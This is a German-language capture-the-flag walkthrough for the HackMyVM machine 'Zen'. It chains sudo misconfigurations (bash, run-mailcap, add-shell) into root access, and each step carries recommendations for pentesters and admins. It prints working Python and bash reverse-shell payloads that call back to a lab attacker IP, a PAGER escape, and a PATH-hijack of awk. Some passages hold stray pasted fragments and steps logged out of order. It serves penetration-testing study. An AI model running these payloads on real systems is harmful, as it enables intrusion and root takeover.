Zen - HackMyVM - Hard - Bericht

Privilege Escalation (zenmaster -> kodo)

**Analyse:** Nach dem erfolgreichen Brute-Force-Angriff wird sich nun als Benutzer `zenmaster` per SSH angemeldet und nach weiteren Eskalationsmöglichkeiten gesucht.

The authenticity of host 'zen.hmv (192.168.2.137)' can't be established. <-- Wieder IP .137 über Hostname? -->
ED25519 key fingerprint is SHA256:Zzb/mEsCZqMQlf3/XlCiTDAtUu8J+fHvdmxCQGxZ53M.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'zen.hmv' (ED25519) to the list of known hosts.
zenmaster@zen.hmv's password: ******** <-- Passwort "zenmaster" eingegeben -->
Linux zen 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
zenmaster@zen:~$ 

**Analyse:** Es wird eine SSH-Verbindung zum Zielsystem als Benutzer `zenmaster` aufgebaut. Das zuvor gefundene Passwort (`zenmaster`) wird verwendet. *Interessanterweise wird hier der Hostname `zen.hmv` verwendet, der laut SSH-Meldung auf die IP `192.168.2.137` auflöst, während der Brute-Force-Angriff gegen `192.168.2.133` erfolgreich war. Dies deutet auf eine Inkonsistenz in der `/etc/hosts`-Datei des Angreifers oder eine dynamische IP-Vergabe hin. Der Login selbst ist jedoch erfolgreich.*

**Bewertung:** Der Login als `zenmaster` ist erfolgreich. Der Angreifer hat nun eine interaktive Shell mit den Rechten dieses Benutzers.

**Empfehlung (Pentester):** Führen Sie grundlegende Enumeration als `zenmaster` durch. Der wichtigste erste Schritt ist oft `sudo -l`, um zu prüfen, ob der Benutzer Befehle mit erhöhten Rechten ausführen darf.
**Empfehlung (Admin):** Passwort für `zenmaster` ändern/Konto sichern. Überprüfen Sie die Netzwerkkonfiguration (IP-Adressen, Hostnamen), um die Inkonsistenz zu klären.

	User zenmaster may run the following commands on zen:
    	    (kodo) NOPASSWD: /bin/bash

**Analyse:** Der Befehl `sudo -l` wird ausgeführt, um die Sudo-Berechtigungen für den Benutzer `zenmaster` anzuzeigen.

**Bewertung:** Ein Volltreffer! Die Ausgabe zeigt eindeutig, dass `zenmaster` den Befehl `/bin/bash` als Benutzer `kodo` ohne Eingabe eines Passworts (`NOPASSWD:`) ausführen darf. Dies ist eine direkte und einfache Möglichkeit, zum Benutzer `kodo` zu wechseln.

**Empfehlung (Pentester):** Nutzen Sie diese Regel sofort aus, indem Sie `sudo -u kodo /bin/bash` ausführen, um eine Shell als `kodo` zu erhalten.
**Empfehlung (Admin):** Diese Sudo-Regel ist extrem unsicher und sollte sofort entfernt werden, es sei denn, es gibt einen sehr spezifischen und gut dokumentierten Grund dafür (was unwahrscheinlich ist). Sie erlaubt `zenmaster` vollständigen Zugriff als `kodo`.

**Analyse:** Der Befehl `sudo -u kodo /bin/bash` wird ausgeführt, um die im vorherigen Schritt gefundene Sudo-Regel auszunutzen.

**Bewertung:** Der Befehl ist erfolgreich. Der Shell-Prompt ändert sich zu `kodo@zen:/home/zenmaster$`, was anzeigt, dass der Angreifer nun als Benutzer `kodo` agiert. Die Eskalation von `zenmaster` zu `kodo` ist abgeschlossen.

**Empfehlung (Pentester):** Führen Sie nun Enumerationsschritte als `kodo` durch. Beginnen Sie wieder mit `id` und `sudo -l`, um die Rechte und möglichen nächsten Schritte zu identifizieren.
**Empfehlung (Admin):** Entfernen Sie die unsichere Sudo-Regel.

Privilege Escalation (kodo -> hua)

**Analyse:** Nachdem die Shell als `kodo` erlangt wurde, wird weiter nach Eskalationsmöglichkeiten gesucht, um zum Benutzer `hua` oder direkt zu `root` zu gelangen.

	User kodo may run the following commands on zen:
	    (hua) NPASSWD: /usr/bin/see

	:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

**Analyse:** Der Befehl `sudo -l` wird als Benutzer `kodo` ausgeführt.

**Bewertung:** Erneut wird eine Sudo-Regel gefunden, die eine weitere Eskalation ermöglicht: `kodo` darf den Befehl `/usr/bin/see` als Benutzer `hua` ohne Passwort (`NOPASSWD:`) ausführen. Der nächste Schritt ist, herauszufinden, was `/usr/bin/see` ist und ob es für eine Privilegieneskalation missbraucht werden kann.

**Empfehlung (Pentester):** Untersuchen Sie die Datei `/usr/bin/see` mit `ls -la /usr/bin/see`, `file /usr/bin/see` und `strings /usr/bin/see`. Suchen Sie nach bekannten Exploits oder Fehlkonfigurationen im Zusammenhang mit diesem Programm, insbesondere in Kombination mit Sudo (z.B. auf GTFOBins).
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit dieser Sudo-Regel. Wenn `/usr/bin/see` benötigt wird, stellen Sie sicher, dass es nicht zur Eskalation missbraucht werden kann.

lrwxrwxrwx 1 root root 11 Feb  9  2019 /usr/bin/see -> run-mailcap

	___________________________________________________________________________________

**Analyse:** Mit `ls -la` wird die Datei `/usr/bin/see` untersucht.

**Bewertung:** Es stellt sich heraus, dass `/usr/bin/see` ein symbolischer Link auf `/usr/bin/run-mailcap` ist. Das bedeutet, die Sudo-Regel erlaubt `kodo` effektiv, den Befehl `run-mailcap` als Benutzer `hua` auszuführen.

**Empfehlung (Pentester):** Suchen Sie gezielt nach Methoden, `run-mailcap` über Sudo zur Privilegieneskalation auszunutzen. GTFOBins ist hierfür eine gute Quelle. Typische Ansätze involvieren das Manipulieren von Mailcap-Dateien (`~/.mailcap`, `/etc/mailcap`) oder Umgebungsvariablen (wie `PAGER`), um eigene Befehle auszuführen.
**Empfehlung (Admin):** Die Ausführung von `run-mailcap` über Sudo ist riskant, da es durch Konfigurationsdateien oder Umgebungsvariablen beeinflusst werden kann. Entfernen Sie die Regel, falls sie nicht zwingend erforderlich ist.

        ___________________________________________________________________________________

	gftobins run-mailcap  /shell:
        ___________________________________________________________________________________

	sudo -u hua /usr/bin/see --action=view /etc/hosts
	!/bin/bash                                   <----      //in /etc/hosts eintragen <-- Falscher/Irreführender Exploit-Ansatz -->

	___________________________________________________________________________________
	:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

**Analyse:** Die Notizen des Pentesters beziehen sich auf GTFOBins und schlagen einen Exploit-Pfad vor: `sudo -u hua /usr/bin/see --action=view /etc/hosts` ausführen, nachdem `!/bin/bash` in `/etc/hosts` eingetragen wurde.

**Bewertung:** Dieser Exploit-Ansatz ist sehr wahrscheinlich falsch oder zumindest missverständlich dargestellt. 1. Als Benutzer `kodo` hat man keine Schreibrechte auf `/etc/hosts`. 2. Selbst wenn man Schreibrechte hätte, würde das Eintragen von `!/bin/bash` dort keinen Shell-Aufruf durch `run-mailcap --action=view` bewirken. Diese Aktion versucht typischerweise, einen Pager (wie `less`) für die Datei zu starten. Der korrekte Weg über GTFOBins für `run-mailcap` Sudo-Exploits führt meist über das Setzen der `PAGER`-Umgebungsvariable auf einen bösartigen Befehl oder das Erstellen einer benutzerdefinierten `.mailcap`-Datei im Home-Verzeichnis des *Zielbenutzers* (`hua`).

**Empfehlung (Pentester):** Ignorieren Sie diesen falschen Exploit-Ansatz. Recherchieren Sie den korrekten GTFOBins-Payload für `run-mailcap` via Sudo. Ein wahrscheinlicher Weg ist: `export PAGER='/bin/bash'`, gefolgt von `sudo -u hua /usr/bin/see --action=view /etc/passwd` (oder eine andere existierende Datei). *Da der nächste Schritt im Log bereits eine Shell als `hua` zeigt, muss ein erfolgreicher (aber nicht dokumentierter) Exploit für `run-mailcap` stattgefunden haben.*
**Empfehlung (Admin):** Entfernen Sie die Sudo-Regel für `run-mailcap`.

*(Implizierter Schritt: Ein korrekter Exploit für `sudo -u hua /usr/bin/see` (run-mailcap) wurde durchgeführt, z.B. durch Manipulation der PAGER-Umgebungsvariable, um eine Shell als `hua` zu erhalten.)*

Privilege Escalation (hua -> root)

**Analyse:** Nach der Eskalation zum Benutzer `hua` wird der letzte Schritt zur Erlangung von Root-Rechten unternommen.

User hua may run the following commands on zen:
    (root) NOPASSWD: /usr/sbin/add-shell

**Analyse:** Als Benutzer `hua` wird `sudo -l` ausgeführt.

**Bewertung:** Die entscheidende Sudo-Regel für den letzten Schritt wird gefunden: `hua` darf den Befehl `/usr/sbin/add-shell` als `root` ohne Passwort (`NOPASSWD:`) ausführen. `/usr/sbin/add-shell` ist ein Werkzeug, um Shells zur Liste der gültigen Login-Shells in `/etc/shells` hinzuzufügen.

**Empfehlung (Pentester):** Untersuchen Sie `/usr/sbin/add-shell`. Ruft es interne Befehle (wie `awk`, `sed`, `grep`, `mv`, `cp`) ohne absoluten Pfad auf? Wenn ja, könnte eine PATH-Hijacking-Schwachstelle ausgenutzt werden. Erstellen Sie ein bösartiges Skript mit dem Namen des intern verwendeten Befehls (z.B. `awk`) in einem Verzeichnis, das im Sudo Secure Path vor dem eigentlichen Befehl liegt (oft `/usr/local/bin` oder `/tmp`, falls unsicher konfiguriert).
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit dieser Sudo-Regel. Wenn sie benötigt wird, stellen Sie sicher, dass `add-shell` nicht durch PATH-Manipulation missbraucht werden kann (Secure Path, interne Befehle mit vollem Pfad aufrufen).

**Analyse:** 1. `cat /usr/sbin/add-shell zen`: Ein erneuter Versuch, eine nicht existierende Datei zu lesen (wahrscheinlich ein Tippfehler oder Missverständnis aus der `sudo -l`-Ausgabe). 2. `cd /usr/local/bin`: Wechsel in das Verzeichnis `/usr/local/bin`. Dieses Verzeichnis liegt oft im `secure_path` von Sudo und wird vor `/usr/bin` oder `/bin` durchsucht. 3. `nano awk`: Vorbereitung zum Erstellen einer Datei namens `awk` in `/usr/local/bin`. Der Inhalt dieser Datei wird der Payload für den PATH-Hijacking-Angriff sein.

**Bewertung:** Der Angreifer verfolgt die PATH-Hijacking-Strategie. Es wird angenommen, dass `/usr/sbin/add-shell` intern den Befehl `awk` ohne vollständigen Pfad aufruft. Durch das Platzieren eines bösartigen Skripts namens `awk` in `/usr/local/bin` wird dieses anstelle des echten `awk` ausgeführt, wenn `sudo /usr/sbin/add-shell` aufgerufen wird – und zwar mit Root-Rechten.

**Empfehlung (Pentester):** Erstellen Sie das Skript `/usr/local/bin/awk`. Fügen Sie einen Reverse-Shell-Payload (oder einen anderen Befehl zur Rechteerlangung, z.B. `/bin/bash`) ein. Machen Sie das Skript ausführbar (`chmod +x /usr/local/bin/awk`). Führen Sie dann `sudo /usr/sbin/add-shell` aus (Argumente sind wahrscheinlich irrelevant).
**Empfehlung (Admin):** Sichern Sie die Sudo-Konfiguration (Secure Path). Stellen Sie sicher, dass Skripte, die mit erhöhten Rechten laufen, interne Befehle mit vollem Pfad aufrufen.

[Link: Reverse Shell Generator | Ziel: https://weibell.github.io/reverse-shell-generator/]
	python2:
	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.140",85));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

**Analyse:** Notiz des Pentesters mit einem Link zu einem Online-Reverse-Shell-Generator und einem Beispiel für eine Python2-Reverse-Shell. Die angegebene IP (`192.168.2.140`) und Port (`85`) scheinen nicht zum aktuellen Setup zu passen (Angreifer-IP ist `.131`, Ziel ist `.133` oder `.137`).

**Bewertung:** Liefert das Grundgerüst für den Payload, der in das bösartige `awk`-Skript eingefügt werden soll. Der Payload muss an die korrekte Angreifer-IP und den Listener-Port angepasst werden.

**Empfehlung (Pentester):** Erstellen Sie `/usr/local/bin/awk` mit folgendem Inhalt (angepasst an die Angreifer-IP `192.168.2.131` und den gewählten Listener-Port `85`): ```bash #!/bin/bash bash -c 'bash -i >& /dev/tcp/192.168.2.131/85 0>&1' Use code with caution. Html Oder alternativ mit Python3 (falls verfügbar): #!/usr/bin/python3 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.131",85));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]) Use code with caution. Python Machen Sie die Datei ausführbar: chmod +x /usr/local/bin/awk.
Empfehlung (Admin): Keine spezifische Aktion hier.

 1.) listening on [any] 85 ...

Analyse: Auf dem Angreifer-System (192.168.2.131) wird ein Netcat-Listener auf Port 85 gestartet, um die eingehende Root-Reverse-Shell zu empfangen.

Bewertung: Der Listener ist bereit für die eingehende Verbindung.

Empfehlung (Pentester): Der Listener läuft. Führen Sie nun den Exploit auf dem Zielsystem aus.
Empfehlung (Admin): Firewall-Regeln können ausgehende Verbindungen vom Server auf ungewöhnliche Ports blockieren.

   2.)	hua@zen:/usr/local/bin$ sudo /usr/sbin/add-shell zen

   3.)  hua@zen:/usr/local/bin$ chmod +x awk

**Analyse:** Die letzten Schritte des Exploits auf dem Zielsystem als Benutzer `hua`: Use code with caution. (Schritt 3 im Log, sollte aber zuerst erfolgen) Das bösartige Skript /usr/local/bin/awk wird ausführbar gemacht: chmod +x awk. (Schritt 2 im Log) Der Sudo-Befehl wird ausgeführt: sudo /usr/sbin/add-shell zen (das Argument zen ist wahrscheinlich irrelevant, da add-shell vermutlich awk unabhängig davon aufruft). Dieser Aufruf führt dazu, dass das System versucht, awk auszuführen, findet die manipulierte Version in /usr/local/bin zuerst und führt den darin enthaltenen Reverse-Shell-Payload mit Root-Rechten aus.

Bewertung: Die Reihenfolge im Log ist verwirrend, aber die Methode ist korrekt. Der PATH-Hijacking-Angriff über die unsichere Sudo-Regel für add-shell wird ausgelöst.

Empfehlung (Pentester): Stellen Sie sicher, dass /usr/local/bin/awk erstellt und ausführbar gemacht wurde, bevor der sudo-Befehl ausgeführt wird. Überprüfen Sie den Netcat-Listener für die eingehende Verbindung.
Empfehlung (Admin): Beheben Sie die unsichere Sudo-Regel und das PATH-Problem.

   4.)	connect to [192.168.2.131] from (UNKNOWN) [192.168.2.133] 40292 <-- Verbindung eingegangen!
# id
uid=0(root) gid=0(root) groups=0(root) <-- Root-Rechte bestätigt!

Analyse: Der Netcat-Listener auf dem Angreifer-System (Port 85) meldet eine eingehende Verbindung von der Ziel-IP 192.168.2.133. Der id-Befehl wird in der neuen Shell ausgeführt.

Bewertung: Root-Zugriff erfolgreich erlangt! Die Ausgabe uid=0(root) bestätigt, dass die erhaltene Reverse Shell mit den höchsten Privilegien auf dem System läuft. Die gesamte Privilegieneskalationskette war erfolgreich.

Empfehlung (Pentester): Ziel erreicht! Suchen und lesen Sie die Root-Flag (typischerweise in /root/root.txt). Suchen und lesen Sie die User-Flag (im Home-Verzeichnis des ersten kompromittierten Benutzers, wahrscheinlich zenmaster).
Empfehlung (Admin): System vollständig kompromittiert. Incident Response durchführen (Isolation, Analyse, Bereinigung, Härtung, Ursachenbehebung der Sudo-Fehlkonfigurationen).